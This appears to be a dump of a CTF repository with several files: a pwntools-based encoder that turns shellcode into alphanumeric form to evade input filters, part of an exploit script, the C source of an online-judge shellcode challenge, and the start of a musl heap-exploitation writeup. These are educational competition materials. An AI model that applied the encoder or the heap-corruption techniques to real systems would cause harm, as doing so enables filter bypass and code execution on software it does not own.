15 | self.offset = offset 16 | self.shellcode = shellcode 17 | self.origin_shellcode = shellcode 18 | 19 | def encode(self): 20 | shift_offset = 0 21 | shellcode_list = self.block_encode_gen() 22 | while True: 23 | all_shellcode = '' 24 | all_shellcode += Mov(self.base_reg, "rbx") 25 | all_shellcode += CodeInit() 26 | for idx, shellcode in shellcode_list: 27 | enc_offset = idx + self.offset + shift_offset 28 | re = None 29 | if enc_offset > 0 and util.num_size(enc_offset) <= 2: 30 | re = MulReg.find_mul(enc_offset) 31 | if re is None: 32 | all_shellcode += AutoNumGen(enc_offset) 33 | all_shellcode += Mov(src="rax", dst="rsi") 34 | all_shellcode += shellcode 35 | else: 36 | mul1, mul2 = re 37 | all_shellcode += MulReg(mul1=mul1, mul2=mul2, dst="si") 38 | all_shellcode += shellcode 39 | asm_code = util.asm(all_shellcode) 40 | # print(f"we try offset: {shift_offset}") 41 | # print(f"the shellcode length: {len(asm_code)}") 42 | if len(asm_code) < shift_offset: 43 | break 44 | 45 | global log_process 46 | if log_process is not None: 47 | process_num = round((shift_offset / len(asm_code)) * 100) 48 | log_process.status(f" ({process_num}%)") 49 | 50 | inc_count = (len(asm_code) - shift_offset) // 5 51 | if inc_count == 0: 52 | inc_count = 1 53 | shift_offset += inc_count 54 | padding_size = shift_offset - len(asm_code) 55 | asm_code += util.asm(str(Padding(padding_size))) 56 | return asm_code + self.shellcode 57 | 58 | def block_encode_gen(self): 59 | enc_blocks = self.split_enc_idx() 60 | shellcode_list = [] 61 | for enc_block in enc_blocks: 62 | shellcode = '' 63 | while len(enc_block[1]) != 0: 64 | enc_shellcode, re_enc_block, part_shellcode, score = self.byte_xor_strategy(enc_block) 65 | re = self.word_xor_strategy(enc_block) 66 | if re is not None and re[3] < score: 67 | self.shellcode = re[0] 68 | enc_block = re[1] 69 | shellcode += re[2] 70 | else: 71 | self.shellcode = enc_shellcode 72 | enc_block = re_enc_block 73 | shellcode += part_shellcode 74 | shellcode_list.append((enc_block[0], shellcode)) 75 | return shellcode_list 76 | 77 | # def dword_xor_strategy(self, enc_block: EncBlock) -> typing.Tuple[bytes, EncBlock, str, float]: 78 | # enc_shellcode = bytearray(self.shellcode) 79 | # off = enc_block[0] 80 | # idx_list = enc_block[1] 81 | # xor_map = {} 82 | # for idx in idx_list: 83 | # xor_data = 0 84 | # for i in range(4): 85 | # self.shellcode 86 | 87 | def word_xor_strategy(self, enc_block: EncBlock) -> typing.Tuple[bytes, EncBlock, str, float]: 88 | enc_shellcode = bytearray(self.shellcode) 89 | off = enc_block[0] 90 | idx_list = enc_block[1] 91 | enc_bytes = [self.shellcode[off + i] for i in idx_list] 92 | xor_map = self.find_max_match(enc_bytes) 93 | 94 | # data_list = [(idx, xor_map[self.shellcode[off + idx]]) for idx in idx_list] 95 | i = 0 96 | word_data_list: typing.List[typing.Tuple[int, int]] = [] 97 | idx_length = len(idx_list) 98 | while i < idx_length - 1: 99 | if idx_list[i + 1] - idx_list[i] == 1: 100 | idx = idx_list[i] 101 | word_data_list.append((idx, (xor_map[self.shellcode[off + idx]]) + xor_map[ 102 | self.shellcode[off + idx + 1]] << 8)) 103 | i += 1 104 | 105 | if len(word_data_list) == 0: 106 | return None 107 | 108 | idx_map = {} 109 | for i in word_data_list: 110 | if i[1] in idx_map: 111 | idx_map[i[1]].append(i[0]) 112 | else: 113 | idx_map[i[1]] = [i[0]] 114 | 115 | xor_list = [(key, value) for key, value in idx_map.items()] 116 | xor_list.sort(key=lambda x: len(x[1]), reverse=True) 117 | xor_data = xor_list[0][0] 118 | xor_idx = xor_list[0][1] 119 | 120 | i = 0 121 | while i < len(xor_idx) - 1: # avoid some case like "\x00\x00\x00\x00" 122 | if xor_idx[i + 1] - xor_idx[i] == 1: 123 | xor_idx.pop(i + 1) 124 | i += 1 125 | 126 | encode_byte_count = 0 127 | 128 | shellcode = '' 129 | shellcode += AutoNumGen(xor_data) 130 | for idx in xor_idx: 131 | shellcode += "xor [rbx+rsi+{idx:#x}], ax\n".format(idx=idx) 132 | idx_list.remove(idx) 133 | idx_list.remove(idx + 1) 134 | enc_shellcode[off + idx] ^= xor_data & 0xff 135 | enc_shellcode[off + idx + 1] ^= xor_data >> 8 136 | encode_byte_count += 2 137 | 138 | i = 0 139 | while i < len(idx_list): 140 | idx = idx_list[i] 141 | enc_data = xor_map[self.shellcode[off + idx]] 142 | if enc_data == xor_data & 0xff: 143 | shellcode += "xor [rbx+rsi+{idx:#x}], al\n".format(idx=idx) 144 | idx_list.pop(i) 145 | enc_shellcode[off + idx] ^= xor_data & 0xff 146 | encode_byte_count += 1 147 | elif enc_data == xor_data >> 8: 148 | shellcode += "xor [rbx+rsi+{idx:#x}], ah\n".format(idx=idx) 149 | idx_list.pop(i) 150 | enc_shellcode[off + idx] ^= xor_data >> 8 151 | encode_byte_count += 1 152 | else: 153 | i += 1 154 | 155 | shellcode_length = len(util.asm(shellcode)) 156 | 157 | return bytes(enc_shellcode), (off, idx_list), shellcode, shellcode_length / encode_byte_count 158 | 159 | def byte_xor_strategy(self, enc_block: EncBlock) -> typing.Tuple[bytes, EncBlock, str, float]: 160 | enc_shellcode = bytearray(self.shellcode) 161 | off = enc_block[0] 162 | idx_list = enc_block[1] 163 | enc_bytes = [self.shellcode[off + i] for i in idx_list] 164 | xor_map = self.find_max_match(enc_bytes) 165 | 166 | idx_map: typing.Dict[int, typing.List[int]] = {} 167 | 168 | for i in idx_list: 169 | xor_data = xor_map[self.shellcode[off + i]] 170 | if xor_data in idx_map: 171 | idx_map[xor_data].append(i) 172 | else: 173 | idx_map[xor_data] = [i] 174 | 175 | xor_list = [(key, value) for key, value in idx_map.items()] 176 | xor_list.sort(key=lambda x: len(x[1]), reverse=True) 177 | 178 | # select the max two 179 | low_data = xor_list[0][0] 180 | low_enc_idx = xor_list[0][1] 181 | if len(xor_list) > 1: 182 | high_data = xor_list[1][0] 183 | high_enc_idx = xor_list[1][1] 184 | else: 185 | high_data = 0 186 | high_enc_idx = [] 187 | 188 | enc_bytes_count = len(low_enc_idx) + len(high_enc_idx) 189 | 190 | # first gen data 191 | data = low_data + (high_data << 8) 192 | shellcode = '' 193 | shellcode += AutoNumGen(data=data) 194 | for idx in low_enc_idx: 195 | shellcode += "xor [rbx+rsi+{idx:#x}], al\n".format(idx=idx) 196 | idx_list.remove(idx) 197 | enc_shellcode[off + idx] ^= low_data 198 | for idx in high_enc_idx: 199 | shellcode += "xor [rbx+rsi+{idx:#x}], ah\n".format(idx=idx) 200 | idx_list.remove(idx) 201 | enc_shellcode[off + idx] ^= high_data 202 | 203 | shellcode_length = len(util.asm(shellcode)) 204 | score = shellcode_length / enc_bytes_count 205 | return bytes(enc_shellcode), (off, idx_list), shellcode, score 206 | 207 | def data_scan(self): 208 | need_enc = [] 209 | shellcode = bytearray(self.shellcode) 210 | i = 0 211 | shellcode_length = len(shellcode) 212 | while i < shellcode_length: 213 | if shellcode[i] not in util.alphanum_pool: 214 | need_enc.append(i) 215 | i += 1 216 | return need_enc 217 | 218 | def split_enc_idx(self) -> typing.List[typing.Tuple[int, IdxList]]: 219 | need_enc = self.data_scan() 220 | enc_blocks = [] 221 | 222 | while len(need_enc) != 0: 223 | max_size = 0 224 | max_offset = 0 225 | first_idx = need_enc[0] 226 | base_offset = first_idx - 0x7a 227 | while base_offset <= first_idx - 0x30: 228 | point = 0 229 | for idx in need_enc: 230 | off = idx - base_offset 231 | if 0x30 <= off <= 0x39 or 0x41 <= off <= 0x5a or 0x61 <= off <= 0x7a: 232 | point += 1 233 | 234 | if point > max_size: 235 | max_size = point 236 | max_offset = base_offset 237 | base_offset += 1 238 | 239 | i = 0 240 | enc_block = [] 241 | while i < len(need_enc): 242 | off = need_enc[i] - max_offset 243 | if 0x30 <= off <= 0x39 or 0x41 <= off <= 0x5a or 0x61 <= off <= 0xff: 244 | enc_block.append(off) 245 | need_enc.pop(i) 246 | else: 247 | i += 1 248 | 249 | enc_blocks.append((max_offset, enc_block)) 250 | return enc_blocks 251 | 252 | @staticmethod 253 | def find_max_match(data: typing.List[int]) -> dict: 254 | xor_data_map = {} 255 | 256 | while len(data) != 0: 257 | max_point = 0 258 | max_data = 0 259 | 260 | # we prefer alphanum 261 | l = [i for i in range(0x100)] 262 | l.sort(key=lambda x: x in util.alphanum_pool, reverse=True) 263 | for i in l: 264 | point = 0 265 | for d in data: 266 | if d ^ i in util.alphanum_pool: 267 | point += 1 268 | 269 | if point > max_point: 270 | max_point = point 271 | max_data = i 272 | 273 | i = 0 274 | while i < len(data): 275 | if data[i] ^ max_data in util.alphanum_pool: 276 | xor_data_map[data[i]] = max_data 277 | data.pop(i) 278 | else: 279 | i += 1 280 | return xor_data_map 281 | 282 | 283 | def encoder_with_xor_compress(shellcode: bytes, base_reg, offset=0): 284 | shellcode_xor = ShellCodeXor((len(shellcode) // 8) + 1) 285 | e = Encoder(shellcode=util.asm(str(shellcode_xor)), base_reg=base_reg, offset=offset) 286 | enc_shellcode = e.encode() 287 | enc_shellcode += ShellCodeXor.shellcode_xor(shellcode) 288 | return enc_shellcode 289 | 290 | 291 | def encoder_direct(shellcode: bytes, base_reg, offset=0): 292 | e = Encoder(shellcode=shellcode, base_reg=base_reg, offset=offset) 293 | enc_shellcode = e.encode() 294 | return enc_shellcode 295 | 296 | 297 | def encode(shellcode: bytes, base_reg, offset=0): 298 | global log_process 299 | log_process = pwn.log.progress("shellcode is generating step(1/2), plz wait") 300 | shellcode1 = encoder_direct(shellcode, base_reg, offset) 301 | log_process.success() 302 | log_process = pwn.log.progress("shellcode is generating step(2/2), plz wait") 303 | shellcode2 = encoder_with_xor_compress(shellcode, base_reg, offset) 304 | log_process.success() 305 | return shellcode1 if len(shellcode1) < len(shellcode2) else shellcode2 306 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/exp/encoder/util.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | import itertools 3 | from pwn import asm 4 | import functools 5 | import struct 6 | 7 | alphanum_pool = b"UVWXYZABCDEFGHIJKLMNOPQRSTabcdefghijklmnopqrstuvwxyz0123456789" 8 | pwn.context.arch = "amd64" 9 | 10 | xor_table = [0] * 0x80 11 | for i in itertools.product(alphanum_pool, repeat=2): 12 | n = i[0] ^ i[1] 13 | xor_table[n] = i 14 | xor_table = xor_table 15 | 16 | 17 | def num_size(num: int): 18 | assert num >= 0 19 | if num <= 0xff: 20 | return 1 21 | elif num <= 0xffff: 22 | return 2 23 | elif num <= 0xffffffff: 24 | return 4 25 | elif num <= 0xffffffffffffffff: 26 | return 8 27 | else: 28 | raise Exception("size out of range") 29 | 30 | 31 | def is_alphanumeric(num: int, size: int): 32 | for i in range(size): 33 | if num & 0xff not in alphanum_pool: 34 | return False 35 | num = num >> 8 36 | return num == 0 37 | 38 | 39 | def mul_iter(): 40 | # 1. try one byte * one byte 41 | for i in itertools.combinations_with_replacement(alphanum_pool, 2): 42 | yield i 43 | 44 | numbers = map(lambda x: (x[0] << 8) + x[1], itertools.product(alphanum_pool, repeat=2)) 45 | # 2. try two byte * one byte 46 | for i in itertools.product(numbers, alphanum_pool): 47 | yield i 48 | 49 | # 3. try two byte * two byte 50 | for i in itertools.combinations_with_replacement(numbers, 2): 51 | yield i 52 | 53 | 54 | def pack(data: int, fmt): 55 | return struct.pack(fmt, data) 56 | 57 | 58 | def unpack(data: bytes, fmt): 59 | return struct.unpack(fmt, data)[0] 60 | 61 | 62 | p8 = functools.partial(pack, fmt=" 0x100: 109 | a -= 0x100 110 | f.append(a) 111 | 112 | 113 | adj_flag_data = bytes(f) 114 | adj_key = base64.b64decode(key) 115 | adj_iv = base64.b64decode(iv) 116 | 117 | print(flag_data.hex()) 118 | print(adj_flag_data.hex()) 119 | 120 | aes = AES.new(adj_key, AES.MODE_CBC, adj_iv) 121 | print(aes.decrypt(adj_flag_data)) 122 | 123 | p.interactive() 124 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/source_code/Makefile: -------------------------------------------------------------------------------- 1 | all: noj runner 2 | 3 | .PHONY : clean 4 | 5 | noj: main.c 6 | gcc main.c -o noj -lcrypto 7 | 8 | runner: shellcode_runner/runner.c 9 | gcc -nostdlib -nodefaultlibs -fPIC shellcode_runner/runner.c -o runner 10 | 11 | clean: 12 | rm runner noj 13 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/source_code/main.c: -------------------------------------------------------------------------------- 1 | // 2 | // Created by explorer on 2021/11/16. 3 | // 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define MAX_CODE_SIZE 1400 16 | #define SHELLCODE_OFF 0x2C0 17 | unsigned char *runner_code; 18 | size_t runner_size; 19 | 20 | void random_buffer(unsigned char *buffer, size_t size) { 21 | RAND_bytes(buffer, size); 22 | } 23 | 24 | int random_range(int min, int max) { 25 | long int l = max - min; 26 | unsigned long random_num; 27 | random_buffer(&random_num, sizeof(random_num)); 28 | return min + (random_num % l); 29 | } 30 | 31 | void read_data(unsigned char *buffer, size_t size) { 32 | int i = 0; 33 | while (i < size) { 34 | int re = read(STDIN_FILENO, buffer + i, size - i); 35 | if (re <= 0) { 36 | puts("read error"); 37 | exit(0); 38 | } 39 | i += re; 40 | } 41 | } 42 | 43 | 44 | int read_n(unsigned char *buffer, size_t size) { 45 | int i; 46 | for (i = 0; i < size - 1; i++) { 47 | int re = read(STDIN_FILENO, buffer + i, 1); 48 | if (re != 1) { 49 | puts("read error"); 50 | exit(1); 51 | } 52 | if (buffer[i] == '\n') { 53 | break; 54 | } 55 | } 56 | buffer[i] = 0; 57 | return i; 58 | } 59 | 60 | unsigned int read_int() { 61 | char num[0x10]; 62 | read_n(num, 0x10); 63 | return atoi(num); 64 | } 65 | 66 | void *read_code(size_t *re_size) { 67 | puts("now, show me the code"); 68 | puts("code size: "); 69 | unsigned int size = read_int(); 70 | if (size > MAX_CODE_SIZE) { 71 | puts("code too large"); 72 | exit(1); 73 | } 74 | 75 | unsigned char *code = malloc(MAX_CODE_SIZE); 76 | if (code == NULL) { 77 | puts("malloc failed"); 78 | exit(1); 79 | } 80 | read_data(code, size); 81 | for (int i = 0; i < size; i++) { 82 | char ch = code[i]; 83 | if (!(('a' <= ch && ch <= 'z') || ('A' <= ch && ch <= 'z') || ('0' <= ch && ch <= '9'))) { 84 | puts("you code is invalid"); 85 | exit(1); 86 | } 87 | } 88 | if (re_size != NULL) { 89 | *re_size = size; 90 | } 91 | return code; 92 | } 93 | 94 | void write_runner(char *runner_name, char *code, size_t code_size) { 95 | char *chal = malloc(runner_size); 96 | if (chal == NULL) { 97 | puts("malloc failed"); 98 | exit(1); 99 | } 100 | memcpy(chal, runner_code, runner_size); 101 | memcpy(chal + SHELLCODE_OFF, code, code_size); 102 | FILE *fp = fopen(runner_name, "wb"); 103 | if (fp == NULL) { 104 | puts("open error"); 105 | exit(1); 106 | } 107 | fwrite(chal, runner_size, 1, fp); 108 | fclose(fp); 109 | free(chal); 110 | chmod(runner_name, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); 111 | } 112 | 113 | pid_t start_runner(char *runner_name, int *read_fd, int *write_fd) { 114 | pid_t cpid; 115 | int child_read[2]; 116 | int child_write[2]; 117 | 118 | if (pipe(child_read) == -1) { 119 | puts("pipe error"); 120 | exit(1); 121 | } 122 | if (pipe(child_write) == -1) { 123 | puts("pipe error"); 124 | exit(1); 125 | } 126 | 127 | cpid = fork(); 128 | if (cpid == -1) { 129 | puts("fork error"); 130 | exit(0); 131 | } 132 | if (cpid == 0) { // child 133 | close(child_read[1]); 134 | close(child_write[0]); 135 | dup2(child_read[0], STDIN_FILENO); 136 | dup2(child_write[1], STDOUT_FILENO); 137 | dup2(child_write[1], STDERR_FILENO); 138 | int fdlimit = (int) sysconf(_SC_OPEN_MAX); 139 | for (int i = STDERR_FILENO + 1; i < fdlimit; i++) close(i); 140 | execve(runner_name, NULL, NULL); 141 | exit(1); // in case exec failed 142 | } else { // parent 143 | close(child_read[0]); 144 | close(child_write[1]); 145 | *write_fd = child_read[1]; 146 | *read_fd = child_write[0]; 147 | } 148 | return cpid; 149 | } 150 | 151 | int comp(const void *elem1, const void *elem2) { 152 | unsigned int f = *((unsigned int *) elem1); 153 | unsigned int s = *((unsigned int *) elem2); 154 | if (f > s) return 1; 155 | if (f < s) return -1; 156 | return 0; 157 | } 158 | 159 | char *base64(const unsigned char *input, int length) { 160 | const auto pl = 4 * ((length + 2) / 3); 161 | unsigned char *output = malloc(pl + 1); //+1 for the terminating null that EVP_EncodeBlock adds on 162 | int ol = EVP_EncodeBlock(output, input, length); 163 | if (pl != ol) { 164 | puts("b64encode error"); 165 | exit(1); 166 | } 167 | return output; 168 | } 169 | 170 | 171 | //from https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption 172 | int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key, 173 | unsigned char *iv, unsigned char *ciphertext) { 174 | EVP_CIPHER_CTX *ctx; 175 | 176 | int len; 177 | 178 | int ciphertext_len; 179 | 180 | if (!(ctx = EVP_CIPHER_CTX_new())) { 181 | fputs("internal error, can not create cipher ctx", stderr); 182 | exit(1); 183 | } 184 | 185 | if (1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv)) { 186 | fputs("internal error, can not create cipher init error", stderr); 187 | exit(1); 188 | } 189 | if (1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len)) { 190 | fputs("internal error, encrypt failed", stderr); 191 | exit(1); 192 | } 193 | ciphertext_len = len; 194 | 195 | if (1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) { 196 | fputs("internal error, encrypt failed", stderr); 197 | exit(1); 198 | } 199 | ciphertext_len += len; 200 | 201 | /* Clean up */ 202 | EVP_CIPHER_CTX_free(ctx); 203 | 204 | return ciphertext_len; 205 | } 206 | 207 | 208 | int read_enc_flag(unsigned char *enc_flag, unsigned char *key, unsigned char *iv) { 209 | char flag[0x100]; 210 | FILE *fp = fopen("flag", "rb"); 211 | if (fp == NULL) { 212 | puts("you flag is miss"); 213 | exit(1); 214 | } 215 | memset(flag, 0, 0x100); 216 | fread(flag, 0x100, 1, fp); 217 | fclose(fp); 218 | 219 | if (strncmp(flag, "n1ctf{", 6) != 0 && strlen(flag) != 32 + 7 && flag[strlen(flag) - 1] != '}') { 220 | puts("flag file error"); 221 | exit(1); 222 | } 223 | 224 | random_buffer(key, 16); 225 | random_buffer(iv, 16); 226 | 227 | int re = encrypt(flag + 6, 32, key, iv, enc_flag); 228 | memset(flag, 0, 0x100); 229 | return re; 230 | } 231 | 232 | unsigned char *hide_flag(unsigned char *data, int *offset) { 233 | while (1) { 234 | unsigned char *random_data = malloc(0x400); 235 | random_buffer(random_data, 0x400); 236 | unsigned int start_of_hide = random_range(0, 0x400 - 64); 237 | 238 | int p = start_of_hide; 239 | int i = 0; 240 | int insert_count = 0; 241 | while (i < 32) { 242 | int r = random_range(0, 100); 243 | if (r > 80) { 244 | random_data[p++] = random_range(0, 256); 245 | insert_count++; 246 | } else { 247 | offset[i] = random_range(-5, 5); 248 | random_data[p++] = data[i] + offset[i]; 249 | i++; 250 | } 251 | if (insert_count > 16) { // too many 252 | free(random_data); 253 | continue; 254 | } 255 | } 256 | if (insert_count > 5) { 257 | return random_data; 258 | } 259 | free(random_data); 260 | } 261 | } 262 | 263 | void challenge3() { 264 | puts("here is the third challenge"); 265 | puts("find the flag!!"); 266 | unsigned char key[16]; 267 | unsigned char iv[16]; 268 | unsigned char enc_flag[32]; 269 | 270 | size_t code_size; 271 | char *code = read_code(&code_size); 272 | write_runner("/tmp/chal3", code, code_size); 273 | free(code); 274 | 275 | if (read_enc_flag(enc_flag, key, iv) == -1) { 276 | puts("enc flag error"); 277 | exit(1); 278 | } 279 | 280 | int offset[32]; 281 | 282 | unsigned char *seq1 = hide_flag(enc_flag, offset); 283 | unsigned char *seq2 = hide_flag(enc_flag, offset); 284 | memset(enc_flag, 0, 32); 285 | 286 | int read_fd; 287 | int write_fd; 288 | pid_t cpid = start_runner("/tmp/chal3", &read_fd, &write_fd); 289 | 290 | int write_size = 0; 291 | while (write_size < 0x400) { 292 | int re = write(write_fd, seq1 + write_size, 0x400 - write_size); 293 | if (re <= 0) { 294 | puts("code error"); 295 | exit(0); 296 | } 297 | write_size += re; 298 | } 299 | 300 | write_size = 0; 301 | while (write_size < 0x400) { 302 | int re = write(write_fd, seq2 + write_size, 0x400 - write_size); 303 | if (re <= 0) { 304 | puts("code error"); 305 | exit(0); 306 | } 307 | write_size += re; 308 | } 309 | 310 | unsigned char *recv_data = malloc(32); 311 | int read_size = 0; 312 | while (read_size < 32) { 313 | int re = read(read_fd, recv_data + read_size, 32 - read_size); 314 | if (re <= 0) { 315 | puts("code error"); 316 | exit(0); 317 | } 318 | read_size += re; 319 | } 320 | 321 | kill(cpid, SIGKILL); 322 | wait(NULL); 323 | 324 | puts("last words"); 325 | printf("key: "); 326 | puts(base64(key, 16)); 327 | printf("iv: "); 328 | puts(base64(iv, 16)); 329 | printf("your data: "); 330 | puts(base64(recv_data, 32)); 331 | printf("flag noise: "); 332 | for (int i = 0; i < 32; i++) { 333 | printf("%d ", offset[i]); 334 | } 335 | putchar('\n'); 336 | puts("bye"); 337 | exit(0); 338 | } 339 | 340 | void challenge2() { 341 | puts("here is the second challenge"); 342 | puts("plz do a base64 encode"); 343 | 344 | size_t code_size; 345 | char *code = read_code(&code_size); 346 | write_runner("/tmp/chal2", code, code_size); 347 | free(code); 348 | 349 | int read_fd; 350 | int write_fd; 351 | pid_t cpid = start_runner("/tmp/chal2", &read_fd, &write_fd); 352 | 353 | unsigned char *random_data = malloc(0x100); 354 | random_buffer(random_data, 0x100); 355 | int write_size = 0; 356 | while (write_size < 0x100) { 357 | int re = write(write_fd, random_data + write_size, 0x100 - write_size); 358 | if (re <= 0) { 359 | puts("code error"); 360 | exit(0); 361 | } 362 | write_size += re; 363 | } 364 | 365 | unsigned char *recv_data = malloc(344); 366 | int read_size = 0; 367 | while (read_size < 344) { 368 | int re = read(read_fd, recv_data + read_size, 344 - read_size); 369 | if (re <= 0) { 370 | puts("code error"); 371 | exit(0); 372 | } 373 | read_size += re; 374 | } 375 | 376 | kill(cpid, SIGKILL); 377 | wait(NULL); 378 | 379 | 380 | unsigned char *base64_data = base64(random_data, 0x100); 381 | 382 | // puts(base64_data); 383 | // write(STDOUT_FILENO, recv_data, 344); 384 | // puts(recv_data); 385 | 386 | if (memcmp(recv_data, base64_data, 344) != 0) { 387 | puts("wrong answer"); 388 | exit(1); 389 | } else { 390 | puts("accept"); 391 | } 392 | free(random_data); 393 | free(recv_data); 394 | free(base64_data); 395 | } 396 | 397 | void challenge1() { 398 | puts("here is the first challenge"); 399 | puts("plz sort 1000 numbers from small to large"); 400 | 401 | size_t code_size; 402 | char *code = read_code(&code_size); 403 | write_runner("/tmp/chal1", code, code_size); 404 | free(code); 405 | 406 | int read_fd; 407 | int write_fd; 408 | pid_t cpid = start_runner("/tmp/chal1", &read_fd, &write_fd); 409 | unsigned int *random_number = malloc(sizeof(unsigned int) * 0x1000); 410 | random_buffer(random_number, sizeof(unsigned int) * 0x1000); 411 | for (int i = 0; i < 0x1000; i++) { 412 | int re = write(write_fd, random_number + i, sizeof(unsigned int)); 413 | if (re != 4) { 414 | puts("code error"); 415 | exit(1); 416 | } 417 | } 418 | 419 | unsigned int *recv_sorted_number = malloc(sizeof(unsigned int) * 0x1000); 420 | for (int i = 0; i < 0x1000; i++) { 421 | int re = read(read_fd, recv_sorted_number + i, sizeof(unsigned int)); 422 | if (re != 4) { 423 | puts("code error"); 424 | exit(1); 425 | } 426 | } 427 | 428 | kill(cpid, SIGKILL); 429 | wait(NULL); 430 | 431 | qsort(random_number, 0x1000, sizeof(unsigned int), comp); 432 | if (memcmp(random_number, recv_sorted_number, sizeof(unsigned int) * 0x1000) != 0) { 433 | puts("wrong answer"); 434 | exit(1); 435 | } else { 436 | puts("accept"); 437 | } 438 | free(random_number); 439 | free(recv_sorted_number); 440 | } 441 | 442 | 443 | void init() { 444 | setbuf(stdout, NULL); 445 | setbuf(stderr, NULL); 446 | signal(SIGABRT, SIG_ERR); // for init 447 | alarm(3); 448 | 449 | struct stat statbuf; 450 | if (stat("./runner", &statbuf) == -1) { 451 | puts("stat errot"); 452 | exit(1); 453 | } 454 | runner_size = statbuf.st_size; 455 | runner_code = malloc(runner_size); 456 | if (runner_code == NULL) { 457 | puts("malloc failed"); 458 | exit(1); 459 | } 460 | FILE *fp = fopen("./runner", "rb"); 461 | if (fp == NULL) { 462 | puts("open error"); 463 | exit(1); 464 | } 465 | int re = fread(runner_code, 1, runner_size, fp); 466 | if (re != runner_size) { 467 | puts("read runner code error"); 468 | exit(1); 469 | } 470 | fclose(fp); 471 | } 472 | 473 | int main() { 474 | init(); 475 | puts("welcome to my oj"); 476 | challenge1(); 477 | challenge2(); 478 | challenge3(); 479 | } -------------------------------------------------------------------------------- /Pwn/exp's OJ/source_code/shellcode_runner/runner.c: -------------------------------------------------------------------------------- 1 | __attribute__((section(".text"))) char magic_space[0x1000]; 2 | 3 | #include 4 | #include 5 | 6 | #define PR_SET_SECCOMP 22 7 | #define SECCOMP_MODE_STRICT 1 8 | 9 | void *mmap(void *addr, size_t length, int prot, int flags, 10 | int fd, off_t offset) { 11 | void *re; 12 | asm("movq %1, %%rdi;\n" \ 13 | "movq %2, %%rsi;\n" \ 14 | "movl %3, %%edx;\n" \ 15 | "movl %4, %%r10d;\n" \ 16 | "movl %5, %%r8d;\n" \ 17 | "movq %6, %%r9;\n" \ 18 | "movl $9, %%eax;\n" \ 19 | "syscall;\n" \ 20 | "movq %%rax, %0;\n" \ 21 | : "=r"(re) \ 22 | : "m"(addr), "m"(length), "m"(prot), "m"(flags), "m"(fd), "m"(offset) \ 23 | ); 24 | return re; 25 | } 26 | 27 | int prctl(int option, unsigned long arg1) { 28 | long int re; 29 | asm("movq %1, %%rdi;\n" \ 30 | "movq %2, %%rsi;\n" \ 31 | "movl $157, %%eax;\n" \ 32 | "syscall;\n" \ 33 | "movq %%rax, %0;\n" \ 34 | : "=r"(re) \ 35 | : "m"(option), "m"(arg1) \ 36 | ); 37 | return re; 38 | } 39 | 40 | void exit(int staus_code) { 41 | asm("movq %0, %%rdi;\n" \ 42 | "movl $60, %%eax;\n" \ 43 | "syscall;\n" \ 44 | : \ 45 | : "m"(staus_code) \ 46 | ); 47 | } 48 | 49 | void sandbox() { 50 | if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT) == -1) { 51 | exit(0); 52 | } 53 | } 54 | 55 | int main() { 56 | unsigned char *addr = mmap(0, 0x210000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 57 | memcpy(addr, magic_space, 0x1000); 58 | sandbox(); 59 | void (*f)() = addr; 60 | f(); 61 | } 62 | 63 | void _start() { 64 | main(); 65 | } 66 | -------------------------------------------------------------------------------- /Pwn/house_of_tataru/README.md: -------------------------------------------------------------------------------- 1 | ## house\_of\_tataru 2 | 3 | *step1* leak heap and pie by side channel 4 | 5 | `musl` will reuse unused memory from `bss`. You can see more details in [kileak' writeup for this challenge](https://kileak.github.io/ctf/2021/n1ctf21-tataru/). So we can get chunk inside `bss`. But the pie and heap have random distance: 6 | 7 | ``` 8 | 0x564e3c891000 0x564e3c892000 r--p 1000 0 /pwn 9 | 0x564e3c892000 0x564e3c893000 r-xp 1000 1000 /pwn 10 | 0x564e3c893000 0x564e3c894000 r--p 1000 2000 /pwn 11 | 0x564e3c894000 0x564e3c895000 r--p 1000 2000 /pwn 12 | 0x564e3c895000 0x564e3c896000 rw-p 1000 3000 /pwn <----chunk 13 | ^ 14 | | 15 | random distance 16 | | 17 | v 18 | 0x564e3d714000 0x564e3d715000 ---p 1000 0 [heap] 19 | 0x564e3d715000 0x564e3d716000 rw-p 1000 0 [heap] 20 | 0x7faf96450000 0x7faf96465000 r--p 15000 0 /lib/ld-musl-x86_64.so.1 21 | 0x7faf96465000 0x7faf964cc000 r-xp 67000 15000 /lib/ld-musl-x86_64.so.1 22 | 0x7faf964cc000 0x7faf96503000 r--p 37000 7c000 /lib/ld-musl-x86_64.so.1 23 | 0x7faf96503000 0x7faf96504000 r--p 1000 b2000 /lib/ld-musl-x86_64.so.1 24 | 0x7faf96504000 0x7faf96505000 rw-p 1000 b3000 /lib/ld-musl-x86_64.so.1 25 | 26 | ``` 27 | 28 | We can only know the heap address by leaking next `group's meta`. But how can we know the distance between pie and heap? In "edit" function, if `read` failed, it will print "fail" instead of crash, so we can use it to measure the distance. Then we can leak and write the meta region. Then we can leak libc by malloc a large chunk, which makes `musl` mmap a new memory above the libc. And it's `meta->mem` will point to it. 29 | 30 | *step2* overwrite `__malloc_replaced` by "chunk offset" 31 | 32 | Then we could overwrite meta region. And we can bypass the check in `calloc` by overwrite the `__malloc_replaced`: 33 | 34 | ```c 35 | void *calloc(size_t m, size_t n) 36 | { 37 | if (n && m > (size_t)-1/n) { 38 | errno = ENOMEM; 39 | return 0; 40 | } 41 | n *= m; 42 | void *p = malloc(n); 43 | if (!p || (!__malloc_replaced && __malloc_allzerop(p))) 44 | return p; 45 | n = mal0_clear(p, n); 46 | return memset(p, 0, n); 47 | } 48 | ``` 49 | 50 | After Defcon 2021 qual, people like to overwrite memory in libc by unsafe unlink. But I find that in `enframe` in `malloc`, it will set the chunk's idx, if we can use it to overwrite the `__malloc_replaced`, we can bypass the check too. So I banned the unsafe unlink before `calloc`. After we overwrite the `__malloc_replaced`, we can get a arbitrary malloc by overwriting the 